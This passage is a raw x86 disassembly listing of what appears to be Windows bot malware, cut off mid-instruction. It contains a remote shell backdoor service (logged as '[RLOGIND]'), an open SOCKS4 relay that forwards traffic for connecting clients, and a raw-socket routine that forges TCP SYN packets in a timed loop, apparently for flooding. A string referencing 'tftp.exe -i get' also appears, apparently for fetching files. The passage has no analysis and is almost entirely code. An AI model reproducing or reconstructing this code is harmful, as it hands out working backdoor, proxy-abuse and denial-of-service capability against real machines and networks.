lea eax, [ebp+var_14] push eax lea eax, [ebp+var_8] mov [esi], edi push eax lea ebx, [esi+4] mov [ebx], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call dword_422114 ; CreatePipe test eax, eax mov edi, dword_42202C jnz short loc_411CC3 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_3 ; "[RLOGIND]: Failed to create shell stdou"... jmp short loc_411CE4 ; --------------------------------------------------------------------------- loc_411CC3: ; CODE XREF: sub_411C5D+56j push 0 lea eax, [ebp+var_14] push eax push ebx lea eax, [ebp+var_4] push eax call dword_422114 ; CreatePipe test eax, eax jnz short loc_411CEC call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_4 ; "[RLOGIND]: Failed to create shell stdin"... loc_411CE4: ; CODE XREF: sub_411C5D+64j call sub_401F83 pop ecx jmp short loc_411D19 ; --------------------------------------------------------------------------- loc_411CEC: ; CODE XREF: sub_411C5D+79j push [ebp+arg_0] mov ebx, [ebp+var_8] push [ebp+var_4] call sub_4119DF pop ecx pop ecx mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_411D4E push offset aRlogindFaile_5 ; "[RLOGIND]: Failed to execute shell." call sub_401F0F loc_411D19: ; CODE XREF: sub_411C5D+8Dj cmp [ebp+var_4], 0 pop ecx jz short loc_411D25 push [ebp+var_4] call edi ; CloseHandle loc_411D25: ; CODE XREF: sub_411C5D+C1j cmp [ebp+var_8], 0 jz short loc_411D30 push [ebp+var_8] call edi ; CloseHandle loc_411D30: ; CODE XREF: sub_411C5D+CCj mov eax, [esi] test eax, eax jz short loc_411D39 push eax call edi ; CloseHandle loc_411D39: ; CODE XREF: sub_411C5D+D7j mov eax, [esi+4] test eax, eax jz short loc_411D43 push eax call edi ; CloseHandle loc_411D43: ; CODE XREF: sub_411C5D+E1j push esi call sub_416D07 pop ecx xor eax, eax jmp short loc_411D54 ; --------------------------------------------------------------------------- loc_411D4E: ; CODE XREF: sub_411C5D+B0j or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_411D54: ; CODE XREF: sub_411C5D+EFj pop ebx loc_411D55: ; CODE XREF: sub_411C5D+20j pop edi pop esi leave retn sub_411C5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; CODE XREF: sub_410970+1BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411C5D imul edi, 234h mov esi, eax mov eax, dword_43B26C[edi] mov edi, dword_42200C xor ebx, ebx pop ecx mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB push ebx lea eax, [ebp+var_C] push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_411DC8 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_401F83 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_411EA8 ; --------------------------------------------------------------------------- loc_411DC8: ; CODE XREF: sub_411D59+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411B48 push ebx lea eax, [ebp+var_C] push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_411E09 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindFaile_6 ; "[RLOGIND]: Failed to create ReadShell s"... call sub_401F83 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx push ebx push dword ptr [esi+14h] call dword_4220F0 ; TerminateThread xor eax, eax jmp loc_411EA9 ; --------------------------------------------------------------------------- loc_411E09: ; CODE XREF: sub_411D59+86j mov eax, [esi+10h] mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] push 0FFFFFFFFh mov [ebp+var_10], eax push ebx lea eax, [ebp+var_18] push eax push 3 call dword_42212C ; WaitForMultipleObjects sub eax, ebx jz short loc_411E63 dec eax jz short loc_411E5D dec eax jz short loc_411E49 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRlogindWaitfor ; "[RLOGIND]: WaitForMultipleObjects error"... call sub_401F83 pop ecx pop ecx jmp short loc_411E78 ; --------------------------------------------------------------------------- loc_411E49: ; CODE XREF: sub_411D59+D9j mov edi, dword_4220F0 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_411E78 ; --------------------------------------------------------------------------- loc_411E5D: ; CODE XREF: sub_411D59+D6j push ebx push dword ptr [esi+10h] jmp short loc_411E67 ; --------------------------------------------------------------------------- loc_411E63: ; CODE XREF: sub_411D59+D3j push ebx push dword ptr [esi+14h] loc_411E67: ; CODE XREF: sub_411D59+108j call dword_4220F0 ; TerminateThread push 1 push dword ptr [esi+8] call dword_4220E8 ; TerminateProcess loc_411E78: ; CODE XREF: sub_411D59+EEj ; sub_411D59+102j push dword ptr [esi+10h] mov edi, dword_42202C call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_43A4D0 ; closesocket push esi call sub_416D07 xor eax, eax inc eax loc_411EA8: ; CODE XREF: sub_411D59+6Aj pop ecx loc_411EA9: ; CODE XREF: sub_411D59+ABj pop edi pop esi pop ebx leave retn sub_411D59 endp ; =============== S U B R O U T I N E ======================================= sub_411EAE proc near ; CODE XREF: sub_411EDA+Ap ; sub_4120DD+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] lea edx, [eax+1] loc_411EB5: ; CODE XREF: sub_411EAE+Cj mov cl, [eax] inc eax test cl, cl jnz short loc_411EB5 sub eax, edx push esi mov esi, eax mov eax, [esp+4+arg_4] lea ecx, [eax+1] loc_411EC8: ; CODE XREF: sub_411EAE+1Fj mov dl, [eax] inc eax test dl, dl jnz short loc_411EC8 sub eax, ecx lea eax, [esi+eax*2+0C1h] pop esi retn sub_411EAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411EDA proc near ; CODE XREF: sub_4120F4+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_411EAE cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_411EF7 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_411EF7: ; CODE XREF: sub_411EDA+17j mov eax, [ebp+arg_8] lea edx, [eax+1] loc_411EFD: ; CODE XREF: sub_411EDA+28j mov cl, [eax] inc eax test cl, cl jnz short loc_411EFD sub eax, edx push ebx mov edx, eax mov eax, [ebp+arg_C] push esi push edi mov [ebp+arg_4], edx lea esi, [eax+1] loc_411F14: ; CODE XREF: sub_411EDA+3Fj mov cl, [eax] inc eax test cl, cl jnz short loc_411F14 sub eax, esi mov ebx, [ebp+arg_0] lea ecx, [eax+edx+12h] mov dword_4302E4, ecx push 0FFFFFFEDh lea ecx, [eax+1] mov dword_430305, ecx lea ecx, [eax+17h] mov dword_4302FD, ecx pop ecx sub ecx, eax mov dword_430313, ecx push 1Dh pop ecx mov edi, ebx mov esi, offset dword_430280 rep movsd mov esi, [ebp+arg_8] mov ecx, edx shr ecx, 2 lea edi, [ebx+74h] rep movsd mov ecx, edx mov edx, [ebp+arg_4] and ecx, 3 rep movsb add edx, 74h lea edi, [edx+ebx] mov esi, (offset aTftp_exeIGet+0Ch) movsd movsb mov esi, [ebp+arg_C] add edx, 5 lea edi, [edx+ebx] mov ecx, eax mov ebx, ecx shr ecx, 2 rep movsd mov ecx, ebx mov ebx, [ebp+arg_0] and ecx, 3 rep movsb add edx, eax lea edi, [edx+ebx] mov esi, (offset aTftp_exeIGet+11h) movsd movsd movsd movsd mov esi, [ebp+arg_C] add edx, 10h mov ecx, eax lea edi, [edx+ebx] mov ebx, ecx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb push 0Eh lea edi, [edx+eax] add edi, [ebp+arg_0] mov eax, [ebp+var_4] pop ecx mov esi, offset byte_430309 rep movsd pop edi pop esi pop ebx leave retn sub_411EDA endp ; =============== S U B R O U T I N E ======================================= sub_411FD2 proc near ; CODE XREF: sub_411FED+41p ; sub_4120DD+Ep arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_411FDB inc ecx loc_411FDB: ; CODE XREF: sub_411FD2+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_411FD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411FED proc near ; CODE XREF: sub_4120F4+56p ; .text:00414987p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_C] cmp bl, 0Ah push esi jz short loc_412008 cmp bl, 0Dh jz short loc_412008 cmp bl, 5Ch jz short loc_412008 test bl, bl jnz short loc_412009 loc_412008: ; CODE XREF: sub_411FED+Bj ; sub_411FED+10j ... inc ebx loc_412009: ; CODE XREF: sub_411FED+19j mov esi, 0FFh cmp ebx, esi jbe short loc_41202D mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_412027 cmp al, 0Dh jz short loc_412027 cmp al, 5Ch jz short loc_412027 test al, al jnz short loc_41202D loc_412027: ; CODE XREF: sub_411FED+2Cj ; sub_411FED+30j ... add ebx, 100h loc_41202D: ; CODE XREF: sub_411FED+23j ; sub_411FED+38j push ebx call sub_411FD2 cmp eax, [ebp+arg_4] pop ecx mov [ebp+arg_C], eax ja short loc_412043 cmp eax, 0FFFFh jbe short loc_41204A loc_412043: ; CODE XREF: sub_411FED+4Dj xor eax, eax jmp loc_4120D9 ; --------------------------------------------------------------------------- loc_41204A: ; CODE XREF: sub_411FED+54j mov dl, byte_480D40 xor eax, eax test ebx, ebx jbe short loc_412078 loc_412056: ; CODE XREF: sub_411FED+89j mov ecx, [ebp+arg_8] mov cl, [eax+ecx] xor cl, dl jz short loc_41206F cmp cl, 0Ah jz short loc_41206F cmp cl, 0Dh jz short loc_41206F cmp cl, 5Ch jnz short loc_412073 loc_41206F: ; CODE XREF: sub_411FED+71j ; sub_411FED+76j ... inc dl xor eax, eax loc_412073: ; CODE XREF: sub_411FED+80j inc eax cmp eax, ebx jb short loc_412056 loc_412078: ; CODE XREF: sub_411FED+67j cmp ebx, esi push edi mov edi, [ebp+arg_0] push 5 mov byte_480D40, dl pop ecx ja short loc_4120A0 mov esi, offset loc_430268 mov byte_430275, bl mov byte_430279, dl rep movsd push 15h jmp short loc_4120B8 ; --------------------------------------------------------------------------- loc_4120A0: ; CODE XREF: sub_411FED+9Aj mov word_43025E, bx mov byte_430263, dl mov esi, offset loc_430250 rep movsd movsw push 17h loc_4120B8: ; CODE XREF: sub_411FED+B1j pop eax xor ecx, ecx test ebx, ebx movsb pop edi jbe short loc_4120D6 mov esi, [ebp+arg_0] add esi, eax loc_4120C6: ; CODE XREF: sub_411FED+E7j mov eax, [ebp+arg_8] mov al, [ecx+eax] xor al, dl mov [esi+ecx], al inc ecx cmp ecx, ebx jb short loc_4120C6 loc_4120D6: ; CODE XREF: sub_411FED+D2j mov eax, [ebp+arg_C] loc_4120D9: ; CODE XREF: sub_411FED+58j pop esi pop ebx pop ebp retn sub_411FED endp ; =============== S U B R O U T I N E ======================================= sub_4120DD proc near ; CODE XREF: sub_4120F4+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_411EAE push eax call sub_411FD2 add esp, 0Ch retn sub_4120DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4120F4 proc near ; CODE XREF: sub_413C88+6Dp ; sub_41432A+30p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_4120DD cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_412114 cmp eax, 0FFFFh jbe short loc_412118 loc_412114: ; CODE XREF: sub_4120F4+17j xor eax, eax jmp short loc_41215D ; --------------------------------------------------------------------------- loc_412118: ; CODE XREF: sub_4120F4+1Ej push esi push edi push ebx call sub_411EAE add eax, 101h push eax call sub_416E1F add esp, 0Ch push edi push ebx push edi push ebx mov esi, eax call sub_411EAE pop ecx pop ecx push eax push esi call sub_411EDA push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_411FED push esi mov edi, eax call sub_416D07 add esp, 24h mov eax, edi pop esi loc_41215D: ; CODE XREF: sub_4120F4+22j pop edi pop ebx pop ebp retn sub_4120F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412161 proc near ; CODE XREF: sub_41225E+200p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx push esi push edi xor ebx, ebx mov esi, 400h loc_412174: ; CODE XREF: sub_412161+C0j ; sub_412161+F2j mov eax, [ebp+arg_4] xor ecx, ecx inc ecx mov [ebp+var_100], eax mov [ebp+var_104], ecx xor eax, eax loc_412188: ; CODE XREF: sub_412161+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_412199 inc eax cmp eax, ecx jb short loc_412188 loc_412199: ; CODE XREF: sub_412161+31j cmp eax, ecx jnz short loc_4121AD mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4121AD: ; CODE XREF: sub_412161+3Aj push ebx xor eax, eax push ebx mov ecx, 100h lea edi, [ebp+var_504] rep stosd push ebx lea eax, [ebp+var_104] push eax push ebx call dword_43A468 ; select lea eax, [ebp+var_104] push eax push [ebp+arg_4] call dword_43A414 ; __WSAFDIsSet test eax, eax jz short loc_41220F push ebx push esi lea eax, [ebp+var_504] push eax push [ebp+arg_4] call dword_43A324 ; recv cmp eax, 0FFFFFFFFh jz short loc_412259 push ebx push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jz short loc_412259 loc_41220F: ; CODE XREF: sub_412161+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43A414 ; __WSAFDIsSet test eax, eax jz loc_412174 push ebx push esi lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43A324 ; recv cmp eax, 0FFFFFFFFh jz short loc_412259 push ebx push eax lea eax, [ebp+var_504] push eax push [ebp+arg_4] call dword_43A458 ; send cmp eax, 0FFFFFFFFh jnz loc_412174 loc_412259: ; CODE XREF: sub_412161+95j ; sub_412161+ACj ... pop edi pop esi pop ebx leave retn sub_412161 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_41225E proc near ; DATA XREF: sub_41248E+13Fo var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_4D4 = byte ptr -4D4h var_4D3 = byte ptr -4D3h var_4D2 = word ptr -4D2h var_4D0 = dword ptr -4D0h var_4CC = byte ptr -4CCh var_CC = byte ptr -0CCh var_48 = byte ptr -48h var_30 = dword ptr -30h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 5D8h mov edx, [ebp+74h+arg_0] push ebx push esi push edi push 2Ch pop ecx mov esi, edx lea edi, [ebp+74h+var_CC] rep movsd mov edi, [ebp+74h+var_30] xor eax, eax inc eax mov [edx+0ACh], eax mov esi, edi mov [ebp+74h+var_5D8], eax imul esi, 234h mov ecx, dword_43B26C[esi] xor ebx, ebx lea eax, [ebp+74h+var_C] push eax push ebx push ebx lea eax, [ebp+74h+var_5D8] push eax push ebx mov [ebp+74h+arg_0], edi mov [ebp+74h+var_C], 5 mov [ebp+74h+var_8], ebx mov [ebp+74h+var_5D4], ecx call dword_43A468 ; select test eax, eax jnz short loc_4122D1 push dword_43B26C[esi] jmp loc_412479 ; --------------------------------------------------------------------------- loc_4122D1: ; CODE XREF: sub_41225E+66j push ebx push 408h lea eax, [ebp+74h+var_4D4] push eax push dword_43B26C[esi] call dword_43A324 ; recv test eax, eax jle loc_412473 cmp [ebp+74h+var_4D4], 4 jnz loc_412473 cmp [ebp+74h+var_4D3], 1 jnz loc_412473 cmp [ebp+74h+var_48], bl jz loc_4123A7 lea eax, [ebp+74h+var_48] lea edi, [ebp+74h+var_4CC] loc_41231E: ; CODE XREF: sub_41225E+DCj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_412340 cmp cl, bl jz short loc_41233C mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_412340 inc edi inc edi inc eax inc eax cmp cl, bl jnz short loc_41231E loc_41233C: ; CODE XREF: sub_41225E+CAj xor eax, eax jmp short loc_412345 ; --------------------------------------------------------------------------- loc_412340: ; CODE XREF: sub_41225E+C6j ; sub_41225E+D4j sbb eax, eax sbb eax, 0FFFFFFFFh loc_412345: ; CODE XREF: sub_41225E+E0j cmp eax, ebx jz short loc_4123A7 lea eax, [ebp+74h+var_48] push eax lea eax, [ebp+74h+var_4CC] push eax push offset aSocks4Authenti ; "[SOCKS4]: Authentication failed. Remote"... call sub_401F83 add esp, 0Ch mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Dh loc_41236E: ; CODE XREF: sub_41225E+1C0j xor eax, eax push ebx mov ecx, 100h lea edi, [ebp+74h+var_4CC] rep stosd push 8 lea eax, [ebp+74h+var_4D4] push eax push dword_43B26C[esi] call dword_43A458 ; send loc_412393: ; CODE XREF: sub_41225E+210j push dword_43B26C[esi] call dword_43A4D0 ; closesocket push [ebp+74h+arg_0] jmp loc_412480 ; --------------------------------------------------------------------------- loc_4123A7: ; CODE XREF: sub_41225E+B1j ; sub_41225E+E9j xor eax, eax lea edi, [ebp+74h+var_1C] stosd stosd stosd stosd mov ax, [ebp+74h+var_4D2] push 6 mov [ebp+74h+var_1A], ax mov eax, [ebp+74h+var_4D0] push 1 push 2 mov [ebp+74h+var_1C], 2 mov [ebp+74h+var_18], eax call dword_43A3BC ; socket cmp eax, 0FFFFFFFFh mov [ebp+74h+var_4], eax jnz short loc_4123EC call dword_43A47C ; WSAGetLastError push eax push offset aSocks4ErrorFai ; "[SOCKS4]: Error: Failed to open socket("... jmp short loc_41240A ; --------------------------------------------------------------------------- loc_4123EC: ; CODE XREF: sub_41225E+17Ej push 10h lea ecx, [ebp+74h+var_1C] push ecx push eax call dword_43A36C ; connect cmp eax, 0FFFFFFFFh jnz short loc_412423 call dword_43A47C ; WSAGetLastError push eax push offset aSocks4ErrorF_0 ; "[SOCKS4]: Error: Failed to connect to t"... loc_41240A: ; CODE XREF: sub_41225E+18Cj call sub_401F83 pop ecx pop ecx mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Bh jmp loc_41236E ; --------------------------------------------------------------------------- loc_412423: ; CODE XREF: sub_41225E+19Ej xor eax, eax push ebx mov [ebp+74h+var_4D4], bl mov [ebp+74h+var_4D3], 5Ah mov ecx, 100h lea edi, [ebp+74h+var_4CC] rep stosd push 8 lea eax, [ebp+74h+var_4D4] push eax push dword_43B26C[esi] call dword_43A458 ; send push dword_43B26C[esi] push [ebp+74h+var_4] call sub_412161 pop ecx pop ecx push [ebp+74h+var_4] call dword_43A4D0 ; closesocket jmp loc_412393 ; --------------------------------------------------------------------------- loc_412473: ; CODE XREF: sub_41225E+8Ej ; sub_41225E+9Bj ... push dword_43B26C[esi] loc_412479: ; CODE XREF: sub_41225E+6Ej call dword_43A4D0 ; closesocket push edi loc_412480: ; CODE XREF: sub_41225E+144j call sub_4139F6 pop ecx push ebx call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_41225E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_41248E proc near ; DATA XREF: sub_409848+53B9o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 2D4h mov eax, [ebp+74h+arg_0] push ebx push esi push edi mov esi, eax push 2Ch pop ecx xor ebx, ebx lea edi, [ebp+74h+var_D4] rep movsd push [ebp+74h+var_40] inc ebx mov [eax+0A8h], ebx xor eax, eax lea edi, [ebp+74h+var_14] stosd stosd stosd stosd mov [ebp+74h+var_4], 10h mov [ebp+74h+var_14], 2 call dword_43A514 ; ntohs push 6 push ebx xor esi, esi push 2 mov [ebp+74h+var_12], ax mov [ebp+74h+var_10], esi call dword_43A3BC ; socket mov edi, eax mov eax, [ebp+74h+var_3C] imul eax, 234h mov dword_43B26C[eax], edi push 10h lea eax, [ebp+74h+var_14] push eax push edi call dword_43A49C ; bind test eax, eax jnz loc_41261F push 0Ah push edi call dword_43A4E8 ; listen test eax, eax jnz loc_41261F push [ebp+74h+var_40] push [ebp+74h+var_D4] call sub_408894 pop ecx push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_416975 add esp, 10h cmp [ebp+74h+var_30], esi jnz short loc_41255C push esi push [ebp+74h+var_34] lea eax, [ebp+74h+var_2D4] push eax lea eax, [ebp+74h+var_D0] push eax push [ebp+74h+var_D4] call sub_405D62 add esp, 14h loc_41255C: ; CODE XREF: sub_41248E+B2j ; sub_41248E+17Aj ... lea eax, [ebp+74h+var_2D4] push eax call sub_401F0F pop ecx lea eax, [ebp+74h+var_4] push eax lea eax, [ebp+74h+var_24] push eax push edi call dword_43A37C ; accept push [ebp+74h+var_3C] mov ebx, eax movzx eax, [ebp+74h+var_22] push eax push [ebp+74h+var_20] mov [ebp+74h+var_28], esi call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4ClientCo ; "[SOCKS4]: Client connection from IP: %s"... push eax call sub_416975 push ebx lea eax, [ebp+74h+var_2D4] push 12h push eax call sub_413732 mov ecx, [ebp+74h+var_3C] mov [ebp+74h+var_38], eax imul eax, 234h add esp, 20h mov dword_43B264[eax], ecx lea eax, [ebp+74h+arg_0] push eax push esi lea eax, [ebp+74h+var_D4] push eax push offset sub_41225E push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+74h+var_38] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_412615 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+74h+var_2D4] push offset aSocks4Failed_0 ; "[SOCKS4]: Failed to start client thread"... push eax call sub_416975 add esp, 0Ch jmp loc_41255C ; --------------------------------------------------------------------------- loc_41260D: ; CODE XREF: sub_41248E+18Aj push 5 call dword_422000 ; Sleep loc_412615: ; CODE XREF: sub_41248E+15Dj cmp [ebp+74h+var_28], esi jz short loc_41260D jmp loc_41255C ; --------------------------------------------------------------------------- loc_41261F: ; CODE XREF: sub_41248E+77j ; sub_41248E+88j push edi call dword_43A4D0 ; closesocket push [ebp+74h+var_40] lea eax, [ebp+74h+var_2D4] push offset aSocks4Failed_1 ; "[SOCKS4]: Failed to start server on Por"... push eax call sub_416975 add esp, 0Ch cmp [ebp+74h+var_30], esi jnz short loc_41265C push esi push [ebp+74h+var_34] lea eax, [ebp+74h+var_2D4] push eax lea eax, [ebp+74h+var_D0] push eax push [ebp+74h+var_D4] call sub_405D62 add esp, 14h loc_41265C: ; CODE XREF: sub_41248E+1B2j lea eax, [ebp+74h+var_2D4] push eax call sub_401F0F push [ebp+74h+var_3C] call sub_4139F6 pop ecx pop ecx push esi call dword_422014 ; ExitThread int 3 ; Trap to Debugger sub_41248E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=68h sub_41267A proc near ; CODE XREF: sub_4128F6+3Cp var_288 = byte ptr -288h var_F8 = byte ptr -0F8h var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_A4 = byte ptr -0A4h var_98 = byte ptr -98h var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = byte ptr -74h var_73 = byte ptr -73h var_72 = word ptr -72h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = word ptr -54h var_52 = word ptr -52h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = word ptr -0Eh var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp lea ebp, [esp-68h] sub esp, 288h and [ebp+68h+var_B8], 0 push edi push 0Eh pop ecx xor eax, eax lea edi, [ebp+68h+var_B7] rep stosd stosw stosb lea eax, [ebp+68h+var_288] push eax push 202h call dword_43A3CC ; WSAStartup test eax, eax jz short loc_4126B4 xor eax, eax jmp loc_4128F0 ; --------------------------------------------------------------------------- loc_4126B4: ; CODE XREF: sub_41267A+31j push esi xor edi, edi inc edi push edi xor esi, esi push esi push esi push 0FFh push 3 push 2 call dword_43A334 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+68h+var_4], eax jz loc_4128E7 push 4 lea ecx, [ebp+68h+var_3C] push ecx push 2 push esi push eax mov [ebp+68h+var_3C], edi call dword_43A3D8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4128DE xor eax, eax lea edi, [ebp+68h+var_54] stosd stosd stosd push ebx push [ebp+68h+arg_8] stosd mov [ebp+68h+var_54], 2 call dword_43A514 ; ntohs mov ebx, [ebp+68h+arg_0] push 28h mov [ebp+68h+var_52], ax mov [ebp+68h+var_50], ebx mov [ebp+68h+var_30], 45h call dword_43A514 ; ntohs push [ebp+68h+arg_8] mov [ebp+68h+var_2E], ax mov [ebp+68h+var_2C], 1 mov [ebp+68h+var_2A], si mov [ebp+68h+var_28], 80h mov [ebp+68h+var_27], 6 mov [ebp+68h+var_26], si mov [ebp+68h+var_20], ebx call dword_43A514 ; ntohs push 4000h mov [ebp+68h+var_1A], ax mov [ebp+68h+var_14], esi mov [ebp+68h+var_10], 50h mov [ebp+68h+var_F], 2 call dword_43A514 ; ntohs mov [ebp+68h+var_E], ax lea eax, [ebp+68h+var_5C] push eax mov [ebp+68h+var_A], si mov [ebp+68h+var_8], esi call dword_42203C ; QueryPerformanceFrequency lea eax, [ebp+68h+var_38] push eax call dword_422038 ; QueryPerformanceCounter push [ebp+68h+var_58] mov eax, [ebp+68h+arg_C] push [ebp+68h+var_5C] cdq push edx push eax call sub_417220 add eax, [ebp+68h+var_38] mov [ebp+68h+var_C], si adc edx, [ebp+68h+var_34] mov [ebp+68h+var_44], eax mov [ebp+68h+var_40], edx jmp short loc_4127D1 ; --------------------------------------------------------------------------- loc_4127A5: ; CODE XREF: sub_41267A+22Fj add [ebp+68h+var_8], eax lea eax, [ebp+68h+var_38] push eax call dword_422038 ; QueryPerformanceCounter mov eax, [ebp+68h+var_34] cmp eax, [ebp+68h+var_40] jg loc_4128DA jl short loc_4127CC mov eax, [ebp+68h+var_38] cmp eax, [ebp+68h+var_44] jnb loc_4128DA loc_4127CC: ; CODE XREF: sub_41267A+144j and [ebp+68h+var_C], 0 loc_4127D1: ; CODE XREF: sub_41267A+129j call sub_416B31 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43A514 ; ntohs mov [ebp+68h+var_1C], ax call sub_416B31 call sub_416B31 push eax call dword_43A514 ; ntohs push [ebp+68h+arg_4] movzx eax, ax mov [ebp+68h+var_18], eax call dword_43A4EC ; ntohl inc [ebp+68h+arg_4] and [ebp+68h+var_74], 0 mov esi, eax push 14h mov [ebp+68h+var_24], esi mov [ebp+68h+var_78], ebx mov [ebp+68h+var_73], 6 call dword_43A514 ; ntohs push 8 pop ecx mov [ebp+68h+var_7C], esi mov [ebp+68h+var_72], ax push 5 lea esi, [ebp+68h+var_7C] lea edi, [ebp+68h+var_B8] rep movsd pop ecx lea eax, [ebp+68h+var_B8] push 34h lea esi, [ebp+68h+var_1C] lea edi, 